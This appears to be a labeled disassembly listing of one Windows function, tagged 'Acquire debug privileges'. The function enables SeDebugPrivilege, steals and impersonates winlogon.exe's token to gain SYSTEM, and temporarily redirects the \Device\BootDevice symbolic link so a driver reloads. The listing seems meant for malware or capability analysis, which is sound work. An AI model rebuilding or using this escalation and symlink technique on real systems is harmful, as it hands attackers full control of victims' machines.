Function at 0x14000aa70
Capabilities:
Acquire debug privileges

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xf0
mov rax, qword [0x14004c040]
xor rax, rsp
mov qword [rbp + 0x2f], rax
xor r14d, r14d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x29]
mov edx, 0xf01ff
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea r13d, [r14 + 0xa]
test eax, eax
jne 0x14000aad6
lea rdx, str.____Failed_to_open_current_process_token__exiting..._n
call fcn.140007380
jmp 0x14000abff
mov rbx, qword [rbp - 0x29]
mov qword [rbp + 0x27], rbx
lea rdx, str.SeDebugPrivilege
lea rcx, [rbp + 7]
call fcn.140006fd0
mov rdx, rax
mov rcx, rbx
call fcn.14000afc0
test al, al
je 0x14000abf6
lea rdx, str.winlogon.exe
lea rcx, [rbp + 7]
call fcn.140006fd0
mov rcx, rax
call fcn.140009e50
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
mov qword [rbp - 0x21], rax
test rax, rax
jne 0x14000ab46
lea rdx, str.____Couldnt_get_a_PROCESS_ALL_ACCESS_handle_to_winlogon.exe__exiting..._n
call fcn.140007380
nop
xor ecx, ecx
jmp 0x14000abaf
lea rdx, str.___Got_a_PROCESS_ALL_ACCESS_handle_to_winlogon.exe__n
call fcn.140007380
lea r8, [rbp - 0x29]
mov edx, r13d
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x14000ab74
lea rdx, str.____Couldnt_get_a_handle_to_winlogon.exes_token__exiting..._n
call fcn.140007380
jmp 0x14000abac
lea rdx, str.___Opened_a_handle_to_winlogon.exes_token__n
call fcn.140007380
mov rsi, qword [rbp - 0x29]
mov qword [rbp - 9], rsi
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x14000abd5
lea rdx, str.____Couldnt_impersonate_winlogon.exes_token__exiting..._n
call fcn.140007380
nop
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.____Not_enough_privileges_to_elevate_to_SYSTEM__exiting..._n
call fcn.140007380
mov eax, 1
jmp 0x14000aed0
lea rdx, str.___Successfully_impersonated_winlogon.exes_token__we_are_SYSTEM_now____n
call fcn.140007380
nop
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.DeviceBootDevice
lea rcx, [rsp + 0x30]
call fcn.140006fd0
mov rdx, rax
lea rcx, [rbp + 7]
call fcn.14000a240
nop
lea rax, [rbp - 0x49]
mov qword [rbp - 9], rax
lea rdx, str.DeviceHarddiskVolume1
lea rcx, [rbp - 0x49]
call fcn.140006fd0
mov rbx, rax
lea rdx, str.DeviceBootDevice
lea rcx, [rbp - 0x69]
call fcn.140006fd0
nop
mov rdx, rbx
mov rcx, rax
call fcn.140002730
mov r12, qword [rbp + 0x1f]
mov rsi, qword [rbp + 7]
test eax, eax
jne 0x14000ae75
lea rdx, str.___Successfully_changed_symbolic_link_to_new_target__n
call fcn.140007380
mov ecx, 8
call fcn.14000f6f8
lea rcx, [0x14000a530]
mov qword [rax], rcx
mov qword [rbp - 9], rax
lea rcx, [rbp - 0x11]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r14d
mov r9, rax
lea r8, [0x14000af70]
xor edx, edx
xor ecx, ecx
call fcn.140018924
mov qword [rbp - 0x19], rax
test rax, rax
je 0x14000af3c
cmp dword [rbp - 0x11], 0
je 0x14000af09
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [rbp - 0x11], eax
je 0x14000af14
movaps xmm0, xmmword [rbp - 0x19]
movdqa xmmword [rbp - 9], xmm0
xor edx, edx
lea rcx, [rbp - 9]
call fcn.14000f060
test eax, eax
jne 0x14000af1f
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x19], xmm0
lea rdx, str.___Sleeping_10_seconds_to_let_the_driver__reload_____n
call fcn.140007380
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x30]
mov qword [rbp - 9], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rbp - 0x79], r14
mov qword [rbp - 0x71], r14
lea r15, [rbp + 7]
cmp r12, 8
cmovae r15, rsi
movabs rdi, 0x7ffffffffffffffe
mov rbx, qword [rbp + 0x17]
cmp rbx, rdi
ja 0x14000af2a
mov qword [rbp - 0x71], 7
cmp rbx, 8
jae 0x14000ad6f
mov qword [rbp - 0x79], rbx
mov r8d, 0x10
mov rdx, r15
lea rcx, [rsp + 0x30]
call fcn.140011550
jmp 0x14000ae18
mov rax, rbx
or rax, 7
cmp rax, rdi
jbe 0x14000ad8b
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
jmp 0x14000adb9
mov rdi, rax
cmp rax, 0xa
cmovb rdi, r13
lea rcx, [rdi + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x14000af36
add rcx, rcx
cmp rcx, 0x1000
jb 0x14000ade8
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000af36
mov rcx, rax
call fcn.14000f6f8
mov rcx, rax
test rax, rax
je 0x14000af30
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000adf7
test rcx, rcx
je 0x14000adf4
call fcn.14000f6f8
jmp 0x14000adf7
mov rax, r14
mov qword [rsp + 0x30], rax
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rdi
lea r8, [rbx*2 + 2]
mov rdx, r15
mov rcx, rax
call fcn.140011550
nop
lea rdx, str.DeviceBootDevice
lea rcx, [rbp - 0x69]
call fcn.140006fd0
nop
lea rdx, [rsp + 0x30]
mov rcx, rax
call fcn.140002730
test eax, eax
jne 0x14000ae48
lea rdx, str.___Successfully_restored_symbolic_links..._n
call fcn.140007380
jmp 0x14000ae69
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov ecx, eax
call fcn.140009810
lea rdx, str.____Failed_to_restore_symbolic_links__fix_them_manually___n
call fcn.140007380
mov r14d, 1
cmp dword [rbp - 0x11], 0
jne 0x14000af03
jmp 0x14000ae96
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov ecx, eax
call fcn.140009810
lea rdx, str.____Failed_to_change_symbolic_link__exiting..._n
call fcn.140007380
mov r14d, 1
cmp r12, 8
jb 0x14000aecd
lea rdx, [r12*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x14000aec5
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000aefd
mov rcx, rsi
call fcn.14000f6f0
mov eax, r14d
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.14000f6d0
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140018494
nop
call fcn.140018a0c
nop
mov ecx, 1
call fcn.14000ef10
int3
mov ecx, 5
call fcn.14000ef10
int3
mov ecx, 2
call fcn.14000ef10
int3
call fcn.140001430
int3
call fcn.140018494
int3
call fcn.140001390
nop
mov dword [rbp - 0x11], r14d
mov ecx, 6
call fcn.14000ef10
int3